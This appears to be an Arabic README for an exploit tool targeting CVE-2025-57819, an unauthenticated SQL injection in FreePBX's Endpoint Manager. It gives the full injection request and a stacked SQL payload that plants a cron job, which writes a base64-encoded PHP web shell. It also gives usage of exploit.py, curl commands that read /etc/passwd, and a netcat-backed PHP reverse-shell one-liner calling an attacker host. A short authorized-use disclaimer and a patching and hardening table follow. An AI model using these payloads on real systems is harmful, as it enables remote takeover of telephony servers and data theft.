
حقن SQL غير مصادق عليه في FreePBX Endpoint Manager (CVE-2025-57819) يحقن ويب شيل PHP مجدولًا عبر cron لتنفيذ كود عن بُعد.
FreePBX هي واجهة الويب مفتوحة المصدر لنظام Asterisk PBX، وهي مستخدمة على نطاق واسع في بيئات الاتصالات المؤسسية. تعرّض وحدة Endpoint Manager معالج AJAX على المسار /admin/ajax.php يقبل معلمة brand ويدرجها مباشرةً في استعلام SQL دون تعقيم. يمكن لمهاجم بعيد غير مصادَق حقن SQL عشوائي، وإدراج صف في جدول cron_jobs، وجعل برنامج cron الخاص بـ FreePBX يكتب قشرة ويب PHP قابلة للتنفيذ في جذر الويب — مما يتيح تنفيذ تعليمات برمجية عن بُعد دون مصادقة خلال دقيقة واحدة تقريبًا.
| الحقل | القيمة |
|---|---|
| CVE ID | CVE-2025-57819 |
| نقاط CVSS | 9.8 (حرجة) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — تحييد غير صحيح للعناصر الخاصة المستخدمة في أمر SQL |
| المكوّن | وحدة FreePBX Endpoint Manager |
| المتأثر | FreePBX 17.x (غير مصحّح) |
| المصحّح | FreePBX 17.x (مصحّح) |
| متجه الهجوم | الشبكة — لا يلزم مصادقة |
يستهدف الطلب القابل للاستغلال معالج أوامر AJAX في Endpoint Manager:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
يتم دمج معلمة brand في استعلام SQL دون تهرُّب أو استخدام عبارات مجهّزة. يغلق المهاجم سلسلة الاستعلام ويضيف عبارة ثانية:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
يعمل إدخال cron المحقون كل دقيقة تحت مالك عملية خادم الويب/Asterisk ويكتب:
<?php system($_GET[cmd]); ?>
إلى /var/www/html/webshell.php، مما يتيح تنفيذ أوامر نظام التشغيل دون مصادقة عبر HTTP.
يبني معالج AJAX الخاص بـ Endpoint Manager استعلامات SQL ديناميكيًا باستخدام تنسيق السلاسل بدلاً من الاستعلامات ذات المعاملات. لا يتم التحقق من حقل brand أو تهرُّبه قبل تضمينه في عبارة SELECT، مما يجعله قابلاً للحقن بسهولة تامة.
Attacker ──GET (SQL injection)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs table
│
FreePBX cron daemon (≤60s) │
▼
Attacker ──GET ?cmd=id──────────▶ /webshell.php ◀── written ── cron exec
pip install requests urllib3
-t, --target Target IP address or hostname (required)
--timeout Seconds to wait for target availability (default: 30)
--delay Seconds to wait for cron job to execute (default: 65)
1. شغّل الاستغلال ضد الهدف:
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>
# Use hostname
python3 exploit.py -t connected.htb
# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90
2. إذا تم تأكيد قشرة الويب، تفاعل معها مباشرة:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. ارتقِ إلى قشرة عكسية عبر قشرة الويب:
شغّل مستمعًا على جهازك:
nc -lvnp <LOCAL_PORT>
ثم شغّل قشرة عكسية PHP عبر معامل cmd (مشفّر بنمط URL):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
الحمولة المفكوكة الترميز المُرسلة كمعامل cmd هي:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX Endpoint Module · SQL Injection → Cron Webshell ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
Component : FreePBX Endpoint Module
Affected : unpatched 17.x → Patched: patched 17.x
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL Injection
Type : Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
Reference : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Probing target <IP> (max 30s) ...
14:03:12 [+] Target is alive — HTTP 200
14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
14:03:12 [!] Injecting cron job via SQL injection ...
14:03:12 [+] Injection request sent
14:03:12 [*] Waiting 65s for cron job to fire ...
14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Webshell is active — command output:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>
14:04:17 [+] Exploit routine complete.
ملاحظة التوقيت. قيمة
--delayالافتراضية البالغة 65 ثانية تضمن أن برنامج cron (الذي يعمل في بداية كل دقيقة) قد حصل على فرصة واحدة على الأقل لتنفيذ المهمة المحقونة. على الأهداف البطيئة، ارفعها إلى--delay 90أو--delay 120.
يُوفَّر هذا الاستغلال لأغراض تعليمية واختبار أمني مصرَّح به فقط. لا تستخدمه إلا ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرَّح به غير قانوني وغير أخلاقي.
| الأولوية | الإجراء |
|---|
| حرجة | طبّق التصحيح الصادر من بائع FreePBX لـ CVE-2025-57819 فورًا |
| حرجة | أزل أي آثار موجودة من /var/www/html/webshell.php |
| عالية | قيّد الوصول إلى /admin/ajax.php على مصادر الشبكة الموثوقة والمصادَق عليها |
| عالية | راجع وعقّم جميع استعلامات SQL في Endpoint Manager — واستخدم العبارات المجهّزة |
| متوسطة | قيّد جدول cron_jobs: حدد الأدوار التي يمكنها تنفيذ INSERT |
| متوسطة | طبّق قاعدة جدار حماية تطبيقات الويب (WAF) تمنع أنماط الاستعلامات المكدّسة على نقطة نهاية AJAX |
| منخفضة | شغّل عملية FreePBX/Asterisk بحساب صلاحيات ضئيلة دون حق كتابة على جذر الويب |